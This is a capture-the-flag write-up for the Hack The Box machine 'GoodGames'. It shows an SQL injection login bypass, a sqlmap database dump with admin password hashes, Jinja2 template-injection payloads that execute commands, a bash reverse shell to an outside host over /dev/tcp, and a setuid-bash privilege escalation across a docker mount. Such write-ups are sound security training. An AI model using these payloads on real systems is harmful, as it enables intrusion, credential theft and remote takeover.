Hackthebox - Good games

  • Linux

Nmap

┌──(root💀kali)-[~]
└─# nmap -T5 -sC -sV -O -p- 10.10.11.130
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-23 19:48 EDT
Nmap scan report for 10.10.11.130
Host is up (0.024s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.51
|_http-title: GoodGames | Community and Store
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 5.3 - 5.4 (94%), Linux 2.6.32 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.4 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: goodgames.htb

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.88 seconds

Port 80

We have a SQL injection that allows us to bypass login.

  • Request

POST /login HTTP/1.1
Host: 10.10.11.130
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://10.10.11.130
Connection: close
Referer: http://10.10.11.130/
Upgrade-Insecure-Requests: 1

email=' or 1=1-- -&password=eeeee
  • Response

[STRIPPED]
                   <h1 class="text-main-1" style="font-size: 50px;">Login Successful</h1>

                    <div class="nk-gap"></div>
                    <h2 class="h4">Welcome admintest</h2>

                    <div>Redirecting you to profile page...</div>
                    <div class="nk-gap-3"></div>
[STRIPPED]
  • With union we can actually dump some interesting things: email=' union select 1,2,3,database()-- -&password=eeeee

    • the current database is main

  • We can just save the request in a file and use sqlmap to dump the db

    • Save it as request and then we just have to pass it to sqlmap this way sqlmap -r request -p email I manually with burp repeater saw tha the database name was main so I can dump it this way sqlmap -r request -p email --dump -D main

SQLmap results

We get the admin hash this way!

+----+-------+---------------------+----------------------------------+
| id | name  | email               | password                         |
+----+-------+---------------------+----------------------------------+
| 1  | admin | admin@goodgames.htb | 2b22337f218b2d82dfc3b6f77e7cb8ec |
| 2  | test  | test@test.com       | 098f6bcd4621d373cade4e832627b4f6 |
+----+-------+---------------------+----------------------------------+
  • We put the hash in crackstation and get the password this way superadministrator

Volt

  • This way we can get the config using {{config}}

&lt;Config {&#39;ENV&#39;: &#39;production&#39;, &#39;DEBUG&#39;: False, &#39;TESTING&#39;: False, &#39;PROPAGATE_EXCEPTIONS&#39;: None, &#39;PRESERVE_CONTEXT_ON_EXCEPTION&#39;: None, &#39;SECRET_KEY&#39;: &#39;S3cr3t_K#Key&#39;, &#39;PERMANENT_SESSION_LIFETIME&#39;: datetime.timedelta(31), &#39;USE_X_SENDFILE&#39;: False, &#39;SERVER_NAME&#39;: None, &#39;APPLICATION_ROOT&#39;: &#39;/&#39;, &#39;SESSION_COOKIE_NAME&#39;: &#39;session&#39;, &#39;SESSION_COOKIE_DOMAIN&#39;: False, &#39;SESSION_COOKIE_PATH&#39;: None, &#39;SESSION_COOKIE_HTTPONLY&#39;: True, &#39;SESSION_COOKIE_SECURE&#39;: False, &#39;SESSION_COOKIE_SAMESITE&#39;: None, &#39;SESSION_REFRESH_EACH_REQUEST&#39;: True, &#39;MAX_CONTENT_LENGTH&#39;: None, &#39;SEND_FILE_MAX_AGE_DEFAULT&#39;: None, &#39;TRAP_BAD_REQUEST_ERRORS&#39;: None, &#39;TRAP_HTTP_EXCEPTIONS&#39;: False, &#39;EXPLAIN_TEMPLATE_LOADING&#39;: False, &#39;PREFERRED_URL_SCHEME&#39;: &#39;http&#39;, &#39;JSON_AS_ASCII&#39;: True, &#39;JSON_SORT_KEYS&#39;: True, &#39;JSONIFY_PRETTYPRINT_REGULAR&#39;: False, &#39;JSONIFY_MIMETYPE&#39;: &#39;application/json&#39;, &#39;TEMPLATES_AUTO_RELOAD&#39;: None, &#39;MAX_COOKIE_SIZE&#39;: 4093, &#39;SQLALCHEMY_DATABASE_URI&#39;: &#39;sqlite:////backend/project/apps/db.sqlite3&#39;, &#39;SQLALCHEMY_TRACK_MODIFICATIONS&#39;: False, &#39;SQLALCHEMY_BINDS&#39;: None, &#39;SQLALCHEMY_NATIVE_UNICODE&#39;: None, &#39;SQLALCHEMY_ECHO&#39;: False, &#39;SQLALCHEMY_RECORD_QUERIES&#39;: None, &#39;SQLALCHEMY_POOL_SIZE&#39;: None, &#39;SQLALCHEMY_POOL_TIMEOUT&#39;: None, &#39;SQLALCHEMY_POOL_RECYCLE&#39;: None, &#39;SQLALCHEMY_MAX_OVERFLOW&#39;: None, &#39;SQLALCHEMY_COMMIT_ON_TEARDOWN&#39;: False, &#39;SQLALCHEMY_ENGINE_OPTIONS&#39;: {}}&gt;
  • These slides are also quite helpful, if we try this payload we get the "id" and we are root right away name={{ namespace.__init__.__globals__.os.popen('id').read() }}

  • Lets grab the flags name={{ namespace.__init__.__globals__.os.popen('cat /home/augustus/user.txt').read() }}

  • I can not grab the root flag.

  • Let's try to get a shell

  • We got a shell from the web application (not burp) using this paylaod {{ namespace.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.3/5555 0>&1"').read() }}

  • Then we upgraded our shell

script /dev/null -c bash
ctrl Z
stty raw -echo; fg
reset

OR

python -c 'import pty; pty.spawn("/bin/bash")'
  • Than we can make a ping sweep to look for where is the reak machine as we are in a docker container (hence the docker file in the folder)

for i in {1..254}; do (ping -c 1 172.19.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;
  • if we ssh with augustus and the same password on 172.19.0.1 we get a user shell

Privesc

  • So we are in 2 env one in a docker with root rights and one in the actual machine with just user rights, let's abuse this to our advantage.

    • Take another reverse shell to the docker (now we have 2 shells)

    • In our augustus shell cp /bin/bash .

    • In our root docker shell chmod 4777 bash

    • In our augustus ./bash -p

    • We should be root!

  • Let's grab the flag cat /root/root.txt

Last updated